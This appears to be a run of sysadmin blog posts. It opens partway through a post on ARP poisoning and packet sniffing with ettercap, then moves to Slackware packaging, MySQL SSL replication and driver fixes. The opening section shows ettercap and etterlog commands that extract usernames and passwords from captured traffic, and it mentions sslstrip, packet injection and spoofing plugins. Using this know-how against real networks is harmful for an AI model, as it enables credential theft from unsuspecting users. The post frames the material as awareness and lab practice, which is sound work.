You can also of course use various tools including ettercap with the "-w" option to write traffic to a file and review at my leisure to look for interesting data. Ettercap also has an interesting utility to automatically grab usernames and passwords. From the man page:

       -L, --log
              Log  all  the packets to binary files. These files can be parsed
              by etterlog(8) to extract human readable data. With this option,
              all  packets  sniffed  by ettercap will be logged, together with
              all the passive info (host info + user & pass) it  can  collect.
              Given  a LOGFILE, ettercap will create LOGFILE.ecp (for packets)
              and LOGFILE.eci (for the infos).


If you didn't run this with ettercap originally, you can also run it on a saved packet capture.

$ ettercap -r hotel.raw -L hotel

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Please select an User Interface

$ ls hotel*
hotel.eci  hotel.ecp  hotel.raw

$ etterlog -a hotel.eci

etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Log file version    : NG-0.7.3
Timestamp           : Wed Feb 16 14:20:57 2010
Type                : LOG_INFO

Number of hosts (total)       : 248

Number of local hosts         : 30
Number of non local hosts     : 0
Number of gateway             : 0

Number of discovered services : 240
Number of accounts captured   : 4

$ etterlog -p hotel.eci

74.125.93.191   TCP 80     USER: fakeuser      PASS: fakepasswd

I changed the data above and of course most sites these days are hopefully forcing encrypted logins.

These days, many sites can be hosted on one IP or virtual server. If you're not catching the DNS or HTTP request specifically before the login that was captured, the easiest way to determine which site on a specific IP was being visited would be opening up the packet capture with a tool like Wireshark, using a filter for the IP, then looking at the actual web traffic for the site's name. Looking in Wireshark, I can see the GET immediately after the TCP handshake.

GET /members/bbs/showthread.php HTTP/1.1
Host: www.fakedomain.com

This really just scratches the surface of what you can do with ettercap and other network tools. ARP poisoning still works, particularly on public networks, and many people log in to many services that can be easily compromised through sniffing (I write while sitting in an airport on public WiFi logged into my blogger account). A relatively recent high profile example was when the Metasploit site was briefly hijacked by successful ARP poisoning.

There are numerous other attacks besides sniffing that could succeed when ARP poisoning, many involving redirecting traffic or injecting malicious content. For instance, you can use something like sslstrip to redirect all HTTPS traffic to HTTP, grabbing credentials in the process. You could also inject content directly using etterfilter.

 DESCRIPTION
       The etterfilter utility is used to compile  source  filter  files  into
       binary  filter  files that can be interpreted by the JIT interpreter in
       the ettercap(8) filter engine. You have to compile your filter  scripts
       in  order  to  use  them  in  ettercap. All syntax/parse errors will be
       checked at compile time, so you will  be  sure  to  produce  a  correct
       binary filter for ettercap.
Using etterfilter you can inject new packets, replace data in packets, and more. If someone is visiting what they consider a known safe site, replacing data or injecting malicious packets can be quite successful. At a previous job, we had a non-production network for attack and defend fun, and with etterfilter I was able to replace all image requests by one of my colleagues' browser and instead have it request the image to the left.

Although my example above is obviously on a wireless network as shown by using the wlan0 interface, you can easily perform ARP poisoning on a local wired segment. There are also a number of ways to help detect or prevent poisoning with your network appliances or software.

Finally, ettercap also has a number of interesting plugins available.
$ ettercap -P list

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA


Available plugins :

         arp_cop  1.1  Report suspicious ARP activity
         autoadd  1.2  Automatically add new victims in the target range
      chk_poison  1.1  Check if the poisoning had success
       dns_spoof  1.1  Sends spoofed dns replies
      dos_attack  1.0  Run a d.o.s. attack against an IP address
           dummy  3.0  A plugin template (for developers)
       find_conn  1.0  Search connections on a switched LAN
   find_ettercap  2.0  Try to find ettercap activity
         find_ip  1.0  Search an unused IP address in the subnet
          finger  1.6  Fingerprint a remote host
   finger_submit  1.0  Submit a fingerprint to ettercap's website
       gre_relay  1.0  Tunnel broker for redirected GRE tunnels
     gw_discover  1.0  Try to find the LAN gateway
         isolate  1.0  Isolate an host from the lan
       link_type  1.0  Check the link type (hub/switch)
    pptp_chapms1  1.0  PPTP: Forces chapms-v1 from chapms-v2
      pptp_clear  1.0  PPTP: Tries to force cleartext tunnel
        pptp_pap  1.0  PPTP: Forces PAP authentication
      pptp_reneg  1.0  PPTP: Forces tunnel re-negotiation
      rand_flood  1.0  Flood the LAN with random MAC addresses
  remote_browser  1.2  Sends visited URLs to the browser
       reply_arp  1.0  Simple arp responder
    repoison_arp  1.0  Repoison after broadcast ARP
   scan_poisoner  1.0  Actively search other poisoners
  search_promisc  1.2  Search promisc NICs in the LAN
       smb_clear  1.0  Tries to force SMB cleartext auth
        smb_down  1.0  Tries to force SMB to not use NTLM2 key auth
     stp_mangler  1.0  Become root of a switches spanning tree

02 December, 2010

Using slackbuilds.org to create Slackware packages

Sorry for the long posting hiatus but don't expect it to end. I just don't have a lot of time or material to devote to the blog right now.

I recently wanted to upgrade Postfix on my Slackware mail server. I used to use packages from LinuxPackages.net for unofficial packages, but the site has gotten less active and always had a reputation for varying package quality. My preference is using the SlackBuilds to build my own packages. It's fairly simple to download their build script, edit as needed, then build a Slackware package from source.

Since Postfix is not available from Slackware official repositories, I downloaded the SlackBuild files and then the Postfix source.

$ wget http://postfix.cs.utah.edu/source/official/postfix-2.6.8.tar.gz 
$ wget http://slackbuilds.org/slackbuilds/13.1/network/postfix.tar.gz
$ tar xvzf postfix.tar.gz
$ ls postfix/
README     postfix-2.6.8.tar.gz  postfix.info  slack-desc
doinst.sh  postfix.SlackBuild*   rc.postfix
I am using Cyrus-SASL, so it was important for me to note the following from the SlackBuild Postfix page.
This script builds postfix with support for Dovecot SASL but does not
include any support for Cyrus-SASL. If you need to enable support for
Cyrus see SASL_README in the source code.
I also noted the following from the postfix.SlackBuild file itself.
# Postfix unfortunately does not use a handy ./configure script so you
# must generate the makefiles using (what else?) "make makefiles". The
# following includes support for TLS and SASL. It should automatically
# find PCRE and DB3 support. The docs have information for adding
# additional support such as MySQL or LDAP.
I changed the "make makefile" lines from:
make makefiles \
  CCARGS='-DUSE_SASL_AUTH -DDEF_SERVER_SASL_TYPE=\"dovecot\" -DUSE_TLS' \
  AUXLIBS="-lssl -lcrypto"
to:
make makefiles CCARGS="-DUSE_SASL_AUTH -DUSE_CYRUS_SASL -DHAS_PCRE \
                 -I/usr/local/include/sasl -I/usr/include" \
                 AUXLIBS="-L/usr/local/lib -lsasl2 -L/usr/lib -lpcre"
This added Cyrus-SASL support and also fixed a problem I was having with it finding PCRE. I also changed the VERSION variable to 2.6.8 since the postfix.SlackBuild file was for 2.6.1. After the changes, all I have to do is run the postfix.SlackBuild file then use "upgradepkg" on the resulting postfix-2.6.8-iX86-1_SBo.tgz package. (Note that official packages use xz for compression now, not gzip, so they will have the extension txz).

The next package I will create using SlackBuilds is cyrus-imapd since it also is not included in Slackware. Cyrus-SASL actually has an official package, but I I've been running Cyrus for so long that I have always installed it from source. I don't remember if that is because it wasn't available as a package back in the day or just because I was using some non-standard options.

14 March, 2010

March Slackware-current: libblkid.so.1

 The Slackware-current updates from March 1, 2010, included updates to both the e2fsprogs package and the util-linux-ng package. An important thing to note is that libblkid was moved out of e2fsprogs and into util-linux-ng. If you search the web for libblkid.so.1, slackpkg, util-linux-ng, and e2fsprogs, you will see various forum posts about not being able to boot. This is because libblkid.so.1 is required to mount and the updates included a new kernel, which meant a lot of people updated then rebooted without having util-linux-ng installed.  Booting without the library will get you error messages about libblkid.so.1 not being found when the system tries to mount the drives.

$ man libblkid
LIBBLKID(3)                                                        LIBBLKID(3)

NAME
       libblkid - block device identification library

SYNOPSIS
       #include 

       cc file.c -lblkid

DESCRIPTION
       The  libblkid  library  is used to identify block devices (disks) as to
       their content (e.g.  filesystem type) as well as extracting  additional
       information  such  as  filesystem  labels/volume  names, unique identi-
       fiers/serial numbers, etc. 
If you don't already have util-linux-ng installed then make sure to install it before rebooting since the update to e2fsprogs will remove libblkid.
$ sudo slackpkg update
---snip---
$ sudo slackpkg install util-linux-ng
---snip---
$ sudo slackpkg install-new
---snip---
$ sudo slackpkg upgrade-all
If you get stuck because you ran upgrade-all, don't have util-linux-ng installed, then rebooted for the kernel update, you can boot to the Slackware install CD or DVD so you can install the old version of e2fsprogs or the new util-linux-ng. This will allow you to boot normally then fix whatever is needed, such as installing the new util-linux-ng and/or upgrading e2fsprogs.

13 March, 2010

Customizing Slackware Tcl Package for Sguil

Most distributions these days are configuring their Tcl packages with --enable-threads as a default. Slackware-current switched some months back with the following in the ChangeLog.txt.

+--------------------------+
Mon Dec  7 02:13:13 UTC 2009
d/ruby-1.9.1_p243-i486-3.txz:  Rebuilt.
  Added an explicit --enable-pthread.  This is mostly to make sure that we get
  the expected option set from future releases of Ruby -- it appears that not
  only is --enable-pthread the default in ruby-1.9.1, but trying to use
  --disable-pthread doesn't work.  Furthermore, Ruby and Tcl/Tk no longer work
  together unless both Ruby and Tcl/Tk are compiled with thread support.
  Compiling Tcl/Tk with thread support has caused some problems in the past.
  If a threaded Tcl app tries to fork(), it will hang, but by now most affected
  Tcl apps (such as eggdrop) should have patches available.
  Anyway, this should fix the issues with Ruby and Tk.  Please test it, and
  report any other problems that arise.
tcl/tcl-8.5.8-i486-1.txz:  Upgraded.
  Compiled using --enable-threads, since Ruby requires it to work with Tk.
tcl/tclx-8.4-i486-3.txz:  Rebuilt.
  Recompiled using --enable-threads.
tcl/tix-8.4.3-i486-2.txz:  Rebuilt.
  Recompiled using --enable-threads.
tcl/tk-8.5.8-i486-1.txz:  Upgraded.
  Compiled using --enable-threads, since Ruby requires it to work with Tk.
+--------------------------+ 
The Sguil daemon will not work with threaded Tcl, so to fix this you need to build a package for the distribution of your choice with the --disable-threads configure option. In Slackware and most other distributions, it is fairly simple to customize a package.

Download Tcl from the source directory on the Slackware mirror of your choice. It should include a slack-desc file, a tcl.SlackBuild file, and the Tcl source. Modify the tcl.SlackBuild file to replace --enable-threads with --disable-threads.
./configure \
  --prefix=/usr \
  --libdir=/usr/lib${LIBDIRSUFFIX} \
  --enable-shared \
  --disable-threads \
  --enable-man-symlinks \
  --enable-man-compression=gzip \
  ${CONFARGS} \
  --build=$ARCH-slackware-linux
You may also want to modify the slack-desc to note that this is a non-threaded version. Then build the new package.
$ sh tcl.SlackBuild
---snip--- 
Slackware package /tmp/tcl-8.5.8-i486-1.txz created.
As you see, the package will get written to /tmp by default. Now replace the threaded version with the new non-threaded version.
$ sudo upgradepkg --reinstall /tmp/tcl-8.5.8-i486-1.txz
+==============================================================================
| Upgrading tcl-8.5.8-i486-1 package using /tmp/tcl-8.5.8-i486-1.txz
+==============================================================================

Pre-installing package tcl-8.5.8-i486-1...

Removing package /var/log/packages/tcl-8.5.8-i486-1-upgraded-2010-03-13,20:03:22...

Verifying package tcl-8.5.8-i486-1.txz.
Installing package tcl-8.5.8-i486-1.txz:
PACKAGE DESCRIPTION:
# tcl (Tool Command Language)
#
# Tcl, developed by Dr. John Ousterhout, is a simple to use text-based
# script language with many built-in features which make it especially
# nice for writing interactive scripts.
#
# This is a version customized by nr that uses --disable-threads.
#
Executing install script for tcl-8.5.8-i486-1.txz.
Package tcl-8.5.8-i486-1.txz installed.

Package tcl-8.5.8-i486-1 upgraded with new package /tmp/tcl-8.5.8-i486-1.txz.

15 September, 2009

MySQL replication on RHEL

I recently configured MySQL for replication after first enabling SSL connections between the two systems that would be involved with replication. I have to say that MySQL documentation is excellent and all these notes are simply based on what is available on the MySQL site. I have included links to as many of the relevant sections of the documentation as possible.

For reference, here is the MySQL manual on enabling SSL: 5.5.7.2. Using SSL Connections

Before beginning, it is a good idea to create a directory for the SSL output files and make sure all the files end up there.

MySQL’s RHEL5 packages from mysql.com support SSL by default, but to check you can run:


$ mysqld --ssl --help
mysqld  Ver 5.0.67-community-log for redhat-linux-gnu on i686 (MySQL Community Edition (GPL))Copyright (C) 2000 MySQL AB, by Monty and others
This software comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to modify and redistribute it under the GPL license

Starts the MySQL database server

Usage: mysqld [OPTIONS]

For more help options (several pages), use mysqld --verbose --help


The command will create an error if there is no SSL support.

Next, check that the MySQL server has SSL enabled. The below output means that the server supports SSL but it is not enabled. Enabling it can be done at the command line or in the configuration file, which will be detailed later.


$ mysql -u username -p -e"show variables like 'have_ssl'"
Enter password:
+---------------+----------+
| Variable_name | Value    |
+---------------+----------+
| have_ssl      | DISABLED |
+---------------+----------+


Documentation on setting up certificates:
5.5.7.4. Setting Up SSL Certificates for MySQL

First, generate the CA key and CA certificate:


$ openssl genrsa 2048 > mysql-ca-key.pem
Generating RSA private key, 2048 bit long modulus
............................................+++
............+++

$ openssl req -new -x509 -nodes -days 356 -key mysql-ca-key.pem > mysql-ca-cert.pem
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [GB]:US
State or Province Name (full name) [Berkshire]:California
Locality Name (eg, city) [Newbury]:Burbank
Organization Name (eg, company) [My Company Ltd]:Acme Road Runner Traps
Organizational Unit Name (eg, section) []:Acme IRT
Common Name (eg, your name or your server's hostname) []:mysql.acme.com
Email Address []:acme-irt@acme.com


Create the server certificate:


$ openssl req -newkey rsa:2048 -days 365 -nodes -keyout mysql-server-key.pem >
mysql-server-req.pem

Generating a 2048 bit RSA private key
.............................+++
.............................................................+++
writing new private key to 'mysql-server-key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [GB]:US
State or Province Name (full name) [Berkshire]:California
Locality Name (eg, city) [Newbury]:Burbank
Organization Name (eg, company) [My Company Ltd]:Acme Road Runner Traps
Organizational Unit Name (eg, section) []:Acme IRT
Common Name (eg, your name or your server's hostname) []:mysql.acme.com
Email Address []:acme-irt@acme.com

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:

$ openssl x509 -req -in mysql-server-req.pem -days 356 -CA mysql-ca-cert.pem -CAkey mysql-ca-key.pem
-set_serial 01 > mysql-server-cert.pem
Signature ok
subject=/C=US/ST=California/L=Burbank/O=Acme Road Runner Traps/OU=Acme IRT/CN=
mysql.acme.com/emailAddress=acme-irt@acme.com
Getting CA Private Key


Finally, create the client certificate:


$ openssl req -newkey rsa:2048 -days 356 -nodes -keyout mysql-client-key.pem >
mysql-client-req.pem
Generating a 2048 bit RSA private key
................+++
.................+++
writing new private key to 'mysql-client-key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [GB]:US
State or Province Name (full name) [Berkshire]:California
Locality Name (eg, city) [Newbury]:Burbank
Organization Name (eg, company) [My Company Ltd]:Acme Road Runner Traps
Organizational Unit Name (eg, section) []:Acme IRT
Common Name (eg, your name or your server's hostname) []:mysql.acme.com
Email Address []:acme-irt@acme.com

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:

$ openssl x509 -req -in mysql-client-req.pem -days 356 -CA mysql-ca-cert.pem
-CAkey mysql-ca-key.pem -set_serial 01 > mysql-client-cert.pem
Signature ok
subject=/C=US/ST=California/L=Burbank/O=Acme Road Runner Traps/OU=Acme
IRT/CN=mysql.acme.com/emailAddress=acme-irt@acme.com
Getting CA Private Key

[nr@mysqld mysqlcerts]$ ls
mysql-ca-cert.pem      mysql-client-key.pem   mysql-server-key.pem
mysql-ca-key.pem       mysql-client-req.pem   mysql-server-req.pem
mysql-client-cert.pem  mysql-server-cert.pem


To enable SSL when starting mysqld, the following should be in /etc/my.cnf under the [mysqld] section. For this example, I put the files in /etc/mysql/openssl:


ssl-ca="/etc/mysql/openssl/mysql-ca-cert.pem"
ssl-cert="/etc/mysql/openssl/mysql-server-cert.pem"
ssl-key="/etc/mysql/openssl/mysql-server-key.pem"


To use any client, for instance mysql from the command line or the GUI MySQL Administrator, copy the client cert and key to a dedicated folder on the local box along with ca-cert. You will have to configure the client to use the client certificate, client key, and CA certificate.

To connect with the mysql client using SSL, copy the client certificates to a folder, for instance /etc/mysql, then under the [client] section in /etc/my.cnf:


ssl-ca="/etc/mysql/openssl/mysql-ca-cert.pem"
ssl-cert="/etc/mysql/openssl/mysql-client-cert.pem"
ssl-key="/etc/mysql/openssl/mysql-client-key.pem"


In MySQL Administrator, the following is an example you would put into the Advanced Parameters section if you want to connect using SSL.


SSL_CA U:/keys/mysql-ca-cert.pem
SSL_CERT U:/keys/mysql-client-cert.pem
SSL_KEY U:/keys/mysql-client-key.pem
USE_SSL Yes


Replication

Before configuring replication, I made sure to review the MySQL replication documentation.

16.1.1.1. Creating a User for Replication
Because MySQL stores the replication user’s name and password using plain text in the master.info file, it’s recommended to create a dedicated user that only has the REPLICATION SLAVE privilege. The replication user needs to be created on the master so the slaves can connect with that user.


GRANT REPLICATION SLAVE ON *.* TO 'repl'@'192.168.1.50' IDENTIFIED BY ‘password’;


16.1.1.2. Setting the Replication Master Configuration
Edit my.cnf to uncomment the “log-bin” line. Also uncomment “server-id = 1”. The server-id can be anything between 1 and 2^32 but must be unique.

Also add “expire_logs_days” to my.cnf. If you don’t, the binary logs could fill up the disk partition because they are not deleted by default!


expire_log_days = 4


16.1.1.3. Setting the Replication Slave Configuration
Set server-id to something different from the master in my.cnf. Although not required, enabling binary logging on the slave is also recommended for backups, crash recovery, and in case the slave will also be a master to other systems.

16.1.1.4. Obtaining the Master Replication Information
I flush the tables to disk and lock them to temporarily prevent changes.


# mysql -u root -p -A dbname
mysql> FLUSH TABLES WITH READ LOCK;
Query OK, 0 rows affected (0.00 sec)


If the slave already has data from master, then you may want to copy over data manually to simplify things, 16.1.1.6. Creating a Data Snapshot Using Raw Data Files. However, you can also use mysqldump, as shown in Section 16.1.1.5, “Creating a Data Snapshot Using mysqldump”.

Once the data is copied over to the slave, I get the current log position.


Mysql> SHOW MASTER STATUS;
+------------------+----------+--------------+------------------+
| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+----------+--------------+------------------+
| mysql-bin.000002 | 16524487 |              |                  |
+------------------+----------+--------------+------------------+ 
1 row in set (0.00 sec)

mysql> UNLOCK TABLES;


16.1.1.10. Setting the Master Configuration on the Slave

Finally, configure the slave. The log file and log position tell the slave where to begin replication. All changes after that log position will be replicated to the slave.


mysql> CHANGE MASTER TO
->     MASTER_HOST=’192.168.1.50’,
->     MASTER_USER=’repl’,
->     MASTER_PASSWORD='replication_password',
->     MASTER_LOG_FILE=’ mysql-bin.000002’,
->     MASTER_LOG_POS=16524487,
->     MASTER_SSL=1,
->     MASTER_SSL_CA = '/etc/mysql/openssl/mysql-ca-cert.pem',
->     MASTER_SSL_CAPATH='/etc/mysql/openssl/',
->     MASTER_SSL_CERT = '/etc/mysql/openssl/mysql-server-cert.pem',
->     MASTER_SSL_KEY = '/etc/mysql/openssl/mysql-server-key.pem';
Query OK, 0 rows affected (0.74 sec)  

mysql> START SLAVE;


Replication can start!
The slave status can be checked via the following command:


mysql> show slave status;

26 March, 2009

Slackware-current updates and Nvidia driver

I recently updated a desktop running Slackware-current to the latest packages released up to 24-Mar-2009. There were a few minor issues. The first is that, if using slackpkg to upgrade, I had to upgrade the findutils package before everything else or slackpkg would no longer work properly.

# slackpkg update
# slackpkg upgrade findutils
# slackpkg upgrade-all
The second was that I couldn't install the Nvidia driver for the new 2.6.28.8 kernel package because it was failing.
ERROR: The 'cc' sanity check failed:

The C compiler 'cc' does not appear able to
create executables. Please make sure you have
your Linux distribution's gcc and libc development
packages installed.
It turns out that gcc-4.3.3 in slackware-current depends on mpfr.
# slackpkg info mpfr

PACKAGE NAME: mpfr-2.3.1-i486-1.tgz
PACKAGE LOCATION: ./slackware/l
PACKAGE SIZE (compressed): 348 K
PACKAGE SIZE (uncompressed): 930 K
PACKAGE DESCRIPTION:
mpfr: mpfr (Multiple-Precision Floating-Point Reliable Library)
mpfr:
mpfr: The MPFR library is a C library for multiple-precision floating-point
mpfr: computations with exact rounding (also called correct rounding).
mpfr: It is based on the GMP multiple-precision library.
mpfr: The main goal of MPFR is to provide a library for multiple-precision
mpfr: floating-point computation which is both efficient and has
mpfr: well-defined semantics. It copies the good ideas from the
mpfr: ANSI/IEEE-754 standard for double-precision floating-point arithmetic
mpfr: (53-bit mantissa).
mpfr:

# slackpkg install mpfr
After installing mpfr, I was able to compile the Nvidia module for the running kernel.

Finally, kdeinit4 was failing with an error about loading the libstreamanalyzer.so.0 and libqimageblitz.so shared libraries. I fixed this by installing strigi and qimageblitz.
# slackpkg info strigi

PACKAGE NAME: strigi-0.6.3-i486-1.tgz
PACKAGE LOCATION: ./slackware/l
PACKAGE SIZE (compressed): 904 K
PACKAGE SIZE (uncompressed): 2570 K
PACKAGE DESCRIPTION:
strigi: strigi (fast and light desktop search engine)
strigi:
strigi: Strigi is a fast and light desktop search engine. It can handle a
strigi: large range of file formats such as emails, office documents, media
strigi: files, and file archives. It can index files that are embedded in
strigi: other files. This means email attachments and files in zip files
strigi: are searchable as if they were normal files on your harddisk.
strigi:
strigi: Homepage: http://strigi.sourceforge.net/
strigi:

# slackpkg info qimageblitz

PACKAGE NAME: qimageblitz-r900905-i486-1.tgz
PACKAGE LOCATION: ./slackware/l
PACKAGE SIZE (compressed): 82 K
PACKAGE SIZE (uncompressed): 240 K
PACKAGE DESCRIPTION:
qimageblitz: QImageBlitz (Graphical effect and filter library for KDE4)
qimageblitz:
qimageblitz: Blitz is a graphical effect and filter library for KDE4.0 that
qimageblitz: contains many improvements over KDE 3.x's kdefx library
qimageblitz: including bugfixes, memory and speed improvements, and MMX/SSE
qimageblitz: support.
qimageblitz:

# slackpkg install strigi qimageblitz
After those minor issues, I had KDE4 up and running with the latest Nvidia driver.